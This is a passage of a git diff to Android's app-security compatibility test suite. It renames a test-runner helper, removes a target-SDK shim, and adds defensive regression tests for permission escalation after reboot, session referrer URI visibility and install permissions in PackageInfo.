- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
mBuildHelper.getTestFile(APK_000000000000ffff), true, false));
assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
- runDeviceTestsAsCurrentUser("testCheckVersion");
+ runVersionDeviceTests("testCheckVersion");
getDevice().uninstallPackage(PKG);
}
- private void runDeviceTestsAsCurrentUser(String testMethodName)
+ private void runVersionDeviceTests(String testMethodName)
throws DeviceNotAvailableException {
- runDeviceTestsAsCurrentUser(PKG, PKG + ".VersionTest", testMethodName);
+ runDeviceTests(PKG, PKG + ".VersionTest", testMethodName);
}
- private void runDeviceTestsAsCurrentUser(String packageName, String testClassName, String testMethodName)
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
index 9337d97..8e409bb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageResolutionHostTest.java
@@ -43,7 +43,6 @@
@Before
public void setUp() throws Exception {
- super.setUp();
getDevice().uninstallPackage(TINY_PKG);
mBuildHelper = new CompatibilityBuildHelper(getBuild());
}
@@ -57,7 +56,7 @@
@AppModeFull // TODO: Needs porting to instant
public void testResolveOrderedActivity() throws Exception {
getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
- Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+ Utils.runDeviceTests(getDevice(), TINY_PKG,
".PackageResolutionTest", "queryActivityOrdered");
getDevice().uninstallPackage(TINY_PKG);
}
@@ -66,7 +65,7 @@
@AppModeFull // TODO: Needs porting to instant
public void testResolveOrderedService() throws Exception {
getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
- Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+ Utils.runDeviceTests(getDevice(), TINY_PKG,
".PackageResolutionTest", "queryServiceOrdered");
getDevice().uninstallPackage(TINY_PKG);
}
@@ -75,7 +74,7 @@
@AppModeFull // TODO: Needs porting to instant
public void testResolveOrderedReceiver() throws Exception {
getDevice().installPackage(mBuildHelper.getTestFile(TINY_APK), true);
- Utils.runDeviceTestsAsCurrentUser(getDevice(), TINY_PKG,
+ Utils.runDeviceTests(getDevice(), TINY_PKG,
".PackageResolutionTest", "queryReceiverOrdered");
getDevice().uninstallPackage(TINY_PKG);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index d4abbf1..577e128 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -71,18 +71,6 @@
mBuildHelper = new CompatibilityBuildHelper(buildInfo);
}
- /**
- * Approve the review permission prompt
- */
- private void approveReviewPermissionDialog() throws Exception {
- assertNull(getDevice().installPackage(
- mBuildHelper.getTestFile("ReviewPermissionHelper.apk"), true, true));
-
- runDeviceTests("com.android.cts.reviewpermissionhelper",
- "com.android.cts.reviewpermissionhelper.ReviewPermissionsTest",
- "approveReviewPermissions");
- }
-
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -151,18 +139,12 @@
public void testCompatDefault22() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
- approveReviewPermissionDialog();
-
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
"testCompatDefault");
}
public void testCompatRevoked22() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
- approveReviewPermissionDialog();
-
boolean didThrow = false;
try {
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -179,9 +161,6 @@
public void testNoRuntimePrompt22() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
- approveReviewPermissionDialog();
-
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
"testNoRuntimePrompt");
}
@@ -305,9 +284,6 @@
public void testUpgradeKeepsPermissions() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
- approveReviewPermissionDialog();
-
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
"testAllPermissionsGrantedByDefault");
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), true, false));
@@ -340,9 +316,6 @@
public void testRevokePropagatedOnUpgradeOldToNewModel() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
-
- approveReviewPermissionDialog();
-
boolean didThrow = false;
try {
runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
@@ -377,6 +350,17 @@
"testCannotEscalateNonRuntimePermissionsToRuntime");
}
+ public void testNoPermissionEscalationAfterReboot() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+ getDevice().reboot();
+ runDeviceTests(ESCALATE_PERMISSION_PKG,
+ "com.android.cts.escalatepermission.PermissionEscalationTest",
+ "testRuntimePermissionsAreNotGranted");
+ }
+
public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions25() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
APK_PERMISSION_POLICY_25), false, false));
@@ -430,6 +414,6 @@
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index 8cc141d..5f59d34 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -17,42 +17,23 @@
package android.appsecurity.cts;
import android.platform.test.annotations.AppModeFull;
-
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.ddmlib.Log;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.metrics.proto.MetricMeasurement.Metric;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.testtype.AndroidJUnitTest;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.InstrumentationTest;
import com.android.tradefed.util.AbiFormatter;
import com.android.tradefed.util.AbiUtils;
-import java.util.HashMap;
-
/**
* Tests that verify intent filters.
*/
-@AppModeFull(reason="Instant applications can never be system or privileged")
+@AppModeFull // TODO: Needs porting to instant
public class PrivilegedUpdateTests extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
- //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
- private static final String SHIM_UPDATE_NEW_APK = "CtsShimPrivUpgradePrebuilt_v28.apk";
- private static final String SHIM_UPDATE_NEW_FAIL_APK = "CtsShimPrivUpgradeWrongSHAPrebuilt_v28.apk";
- private static final String TEST_PREPARER_APK = "CtsPrivilegedUpdatePreparer.apk";
- private static final String TEST_PREPARER_PKG = "com.android.cts.privilegedupdate.preparer";
- private static final String TARGET_SDK_METHOD = "getTargetSdk";
- private static final String TARGET_SDK_KEY = "target_sdk";
- private static final int DEFAULT_TARGET_SDK = 24;
- private static final int NEW_TARGET_SDK = 28;
- private int mTargetSdk = 0;
- //---------- END: To handle updated target SDK; remove as b/128436757 ----------
private static final String TAG = "PrivilegedUpdateTests";
private static final String SHIM_PKG = "com.android.cts.priv.ctsshim";
/** Package name of the tests to be run */
@@ -101,10 +82,6 @@
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(TEST_APK), false));
getDevice().executeShellCommand("pm enable " + SHIM_PKG);
- if (mTargetSdk == 0) {
- mTargetSdk = DEFAULT_TARGET_SDK;
- setTargetSdk();
- }
}
@Override
@@ -119,7 +96,7 @@
public void testPrivilegedAppUpgradeRestricted() throws Exception {
getDevice().uninstallPackage(SHIM_PKG);
assertEquals(RESTRICTED_UPGRADE_FAILURE, getDevice().installPackage(
- mBuildHelper.getTestFile(getUpdateApk(true)), true));
+ mBuildHelper.getTestFile(SHIM_UPDATE_FAIL_APK), true));
}
public void testSystemAppPriorities() throws Exception {
@@ -140,7 +117,7 @@
try {
assertNull(getDevice().installPackage(
- mBuildHelper.getTestFile(getUpdateApk(false)), true));
+ mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
} finally {
getDevice().uninstallPackage(SHIM_PKG);
@@ -164,7 +141,7 @@
runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testPrivAppAndEnabled");
try {
assertNull(getDevice().installPackage(
- mBuildHelper.getTestFile(getUpdateApk(false)), true));
+ mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
getDevice().executeShellCommand("pm disable-user " + SHIM_PKG);
runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testUpdatedPrivAppAndDisabled");
getDevice().executeShellCommand("pm enable " + SHIM_PKG);
@@ -178,43 +155,4 @@
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
}
-
- //---------- BEGIN: To handle updated target SDK; remove as b/128436757 ----------
- private String getUpdateApk(boolean fail) {
- if (mTargetSdk == NEW_TARGET_SDK) {
- if (fail) {
- return SHIM_UPDATE_NEW_FAIL_APK;
- }
- return SHIM_UPDATE_NEW_APK;
- }
- if (fail) {
- return SHIM_UPDATE_FAIL_APK;
- }
- return SHIM_UPDATE_APK;
- }
-
- private void setTargetSdk() throws Exception {
- ITestInvocationListener listener = new TargetSdkListener();
- AndroidJUnitTest instrTest = new AndroidJUnitTest();
- instrTest.setInstallFile(mBuildHelper.getTestFile(TEST_PREPARER_APK));
- instrTest.setDevice(getDevice());
- instrTest.setPackageName(TEST_PREPARER_PKG);
- instrTest.run(listener);
- }
-
- /* Special listener to retrieve the target sdk for the cts shim */
- private class TargetSdkListener implements ITestInvocationListener {
- @Override
- public void testEnded(TestDescription test, HashMap<String, Metric> metrics) {
- final Metric targetMetric = metrics.get(TARGET_SDK_KEY);
- if (targetMetric == null) {
- return;
- }
- try {
- mTargetSdk = Integer.parseInt(targetMetric.getMeasurements().getSingleString());
- } catch (NumberFormatException ignore) { }
- }
- }
- //---------- END: To handle updated target SDK; remove as b/128436757 ----------
-
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
new file mode 100644
index 0000000..0b3bd3e
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SessionReferrerUriTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SessionReferrerUriTest extends BaseAppSecurityTest {
+
+ private static final String SESSION_INSPECTOR_A_APK = "CtsSessionInspectorAppA.apk";
+ private static final String SESSION_INSPECTOR_B_APK = "CtsSessionInspectorAppB.apk";
+ private static final String SESSION_INSPECTOR_PKG_A = "com.android.cts.sessioninspector.a";
+ private static final String SESSION_INSPECTOR_PKG_B = "com.android.cts.sessioninspector.b";
+
+ @Before
+ public void setup() throws Exception {
+ new InstallMultiple().addApk(SESSION_INSPECTOR_A_APK).run();
+ new InstallMultiple().addApk(SESSION_INSPECTOR_B_APK).run();
+ }
+
+ @After
+ public void teardown() throws Exception {
+ getDevice().uninstallPackage(SESSION_INSPECTOR_PKG_A);
+ getDevice().uninstallPackage(SESSION_INSPECTOR_PKG_B);
+ }
+
+ @Test
+ @AppModeFull(reason = "Only full apps may install")
+ public void testSessionReferrerUriVisibleToOwner() throws DeviceNotAvailableException {
+ Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_A,
+ "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
+ Utils.runDeviceTests(getDevice(), SESSION_INSPECTOR_PKG_B,
+ "com.android.cts.sessioninspector.SessionInspectorTest", "testOnlyOwnerCanSee");
+ }
+
+ private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+ InstallMultiple() {
+ super(getDevice(), getBuild(), getAbi());
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 0884818..f8841cb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -127,7 +127,7 @@
private void testSingleBase(boolean instant) throws Exception {
new InstallMultiple().addApk(APK)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testSingleBase");
+ runDeviceTests(PKG, CLASS, "testSingleBase");
}
@AppModeInstant
@@ -143,7 +143,7 @@
private void testDensitySingle(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_mdpi)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensitySingle");
+ runDeviceTests(PKG, CLASS, "testDensitySingle");
}
@AppModeInstant
@@ -159,7 +159,7 @@
private void testDensityAll(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_mdpi).addApk(APK_hdpi).addApk(APK_xhdpi)
.addApk(APK_xxhdpi).addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityAll");
+ runDeviceTests(PKG, CLASS, "testDensityAll");
}
/**
@@ -183,12 +183,12 @@
private void testDensityBest(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_mdpi)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest1");
+ runDeviceTests(PKG, CLASS, "testDensityBest1");
// Now splice in an additional split which offers better resources
new InstallMultiple().inheritFrom(PKG).addApk(APK_xxhdpi)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testDensityBest2");
+ runDeviceTests(PKG, CLASS, "testDensityBest2");
}
/**
@@ -212,7 +212,7 @@
private void testApi(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_v7)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testApi");
+ runDeviceTests(PKG, CLASS, "testApi");
}
@AppModeInstant
@@ -228,7 +228,7 @@
private void testLocale(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_de).addApk(APK_fr)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testLocale");
+ runDeviceTests(PKG, CLASS, "testLocale");
}
/**
@@ -256,7 +256,7 @@
new InstallMultiple().addApk(APK).addApk(apk)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+ runDeviceTests(PKG, CLASS, "testNative");
}
/**
@@ -288,7 +288,7 @@
new InstallMultiple().useNaturalAbi().addApk(APK).addApk(apk)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+ runDeviceTests(PKG, CLASS, "testNative");
}
/**
@@ -343,7 +343,7 @@
inst.useNaturalAbi();
}
inst.run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testNative");
+ runDeviceTests(PKG, CLASS, "testNative");
}
@AppModeInstant
@@ -451,7 +451,7 @@
private void testDiffRevision(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_DIFF_REVISION_v7)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
+ runDeviceTests(PKG, CLASS, "testRevision0_12");
}
@AppModeInstant
@@ -467,10 +467,10 @@
private void testDiffRevisionInheritBase(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_v7)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
+ runDeviceTests(PKG, CLASS, "testRevision0_0");
new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION_v7)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_12");
+ runDeviceTests(PKG, CLASS, "testRevision0_12");
}
@AppModeInstant
@@ -486,10 +486,10 @@
private void testDiffRevisionInheritSplit(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_v7)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision0_0");
+ runDeviceTests(PKG, CLASS, "testRevision0_0");
new InstallMultiple().inheritFrom(PKG).addApk(APK_DIFF_REVISION)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testRevision12_0");
+ runDeviceTests(PKG, CLASS, "testRevision12_0");
}
@AppModeInstant
@@ -522,7 +522,7 @@
private void testFeatureBase(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_FEATURE)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureBase");
+ runDeviceTests(PKG, CLASS, "testFeatureBase");
}
@AppModeInstant
@@ -538,7 +538,7 @@
private void testFeatureApiInstant(boolean instant) throws Exception {
new InstallMultiple().addApk(APK).addApk(APK_FEATURE).addApk(APK_FEATURE_v7)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureApi");
+ runDeviceTests(PKG, CLASS, "testFeatureApi");
}
@AppModeFull
@@ -571,10 +571,10 @@
if (instant) {
// Poke the full app so it can see the instant app.
- runDeviceTestsAsCurrentUser(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
+ runDeviceTests(PKG_NO_RESTART, CLASS_NO_RESTART, "testPokeFullApp");
}
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testBaseInstalled");
+ runDeviceTests(PKG, CLASS, "testBaseInstalled");
new InstallMultiple()
.addArg(instant ? "--instant" : "")
@@ -582,7 +582,7 @@
.inheritFrom(PKG_NO_RESTART)
.addApk(APK_NO_RESTART_FEATURE)
.run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testFeatureInstalled");
+ runDeviceTests(PKG, CLASS, "testFeatureInstalled");
}
/**
@@ -604,10 +604,10 @@
private void testClearCodeCache(boolean instant) throws Exception {
new InstallMultiple().addApk(APK)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheWrite");
+ runDeviceTests(PKG, CLASS, "testCodeCacheWrite");
new InstallMultiple().addArg("-r").addApk(APK_DIFF_VERSION)
.addArg(instant ? "--instant" : "").run();
- runDeviceTestsAsCurrentUser(PKG, CLASS, "testCodeCacheRead");
+ runDeviceTests(PKG, CLASS, "testCodeCacheRead");
}
private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
@@ -616,9 +616,8 @@
}
}
- public void runDeviceTestsAsCurrentUser(
- String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ public void runDeviceTests(String packageName, String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index 7ac3efb..a8c3dd9 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -69,22 +69,21 @@
public void testUsesLibrary() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
- runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testUsesLibrary");
+ runDeviceTests(PKG, ".UsesLibraryTest", "testUsesLibrary");
}
public void testMissingLibrary() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
- runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testMissingLibrary");
+ runDeviceTests(PKG, ".UsesLibraryTest", "testMissingLibrary");
}
public void testDuplicateLibrary() throws Exception {
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK), false, false));
- runDeviceTestsAsCurrentUser(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
+ runDeviceTests(PKG, ".UsesLibraryTest", "testDuplicateLibrary");
}
- private void runDeviceTestsAsCurrentUser(
- String packageName, String testClassName, String testMethodName)
- throws DeviceNotAvailableException {
- Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index fda6551..4601309 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -32,19 +32,6 @@
public class Utils {
public static final int USER_SYSTEM = 0;
- public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
- String testClassName, String testMethodName) throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
- null);
- }
-
- public static void runDeviceTestsAsCurrentUser(ITestDevice device, String packageName,
- String testClassName, String testMethodName, Map<String, String> testArgs)
- throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, testMethodName, device.getCurrentUser(),
- testArgs);
- }
-
public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
@@ -140,11 +127,10 @@
public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
throws DeviceNotAvailableException {
final int[] userIds = getAllUsers(device);
- int currentUserId = device.getCurrentUser();
for (int i = 1; i < userIds.length; i++) {
if (i < maxUsers) {
device.startUser(userIds[i]);
- } else if (userIds[i] != currentUserId) {
+ } else {
device.stopUser(userIds[i]);
}
}
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index f697a59..24249f2 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 38cdb3c..1d0f83e 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -19,7 +19,6 @@
import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
-import android.app.KeyguardManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -57,7 +56,6 @@
private Context mCe;
private Context mDe;
private PackageManager mPm;
- private KeyguardManager mKm;
private UiDevice mDevice;
private AwareActivity mActivity;
@@ -69,7 +67,6 @@
mCe = getInstrumentation().getContext();
mDe = mCe.createDeviceProtectedStorageContext();
mPm = mCe.getPackageManager();
- mKm = (KeyguardManager) mCe.getSystemService(Context.KEYGUARD_SERVICE);
mDevice = UiDevice.getInstance(getInstrumentation());
assertNotNull(mDevice);
@@ -103,9 +100,7 @@
public void testTearDown() throws Exception {
// Just in case, always try tearing down keyguard
- if (mKm.isKeyguardLocked()) {
- dismissKeyguard();
- }
+ dismissKeyguard();
mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
AwareActivity.class, null);
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index 777bd65..21263ae 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -23,10 +23,11 @@
cts-aia-util \
androidx.test.rules \
ctsdeviceutillegacy-axt \
- ctstestrunner-axt
+ ctstestrunner-axt \
+ platform-test-annotations \
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 58565ea..6d9afb9 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -23,6 +23,7 @@
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.CoreMatchers.hasItems;
import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.not;
import static org.hamcrest.CoreMatchers.notNullValue;
import static org.hamcrest.CoreMatchers.nullValue;
import static org.junit.Assert.assertSame;
@@ -65,6 +66,7 @@
import android.os.Vibrator;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
+import android.platform.test.annotations.SecurityTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
@@ -77,6 +79,7 @@
import org.junit.runner.RunWith;
import java.io.IOException;
+import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import java.util.concurrent.CountDownLatch;
@@ -1145,6 +1148,30 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+ assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+ assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
+ }
+
+ private static boolean isPermissionGrantedInPackageInfo(String permissionName)
+ throws Exception {
+ final Context context = InstrumentationRegistry.getContext();
+ final PackageInfo packageInfo = context.getPackageManager().getPackageInfo(
+ context.getPackageName(), PackageManager.GET_PERMISSIONS);
+ final int permissionIndex = Arrays.asList(packageInfo.requestedPermissions).indexOf(
+ permissionName);
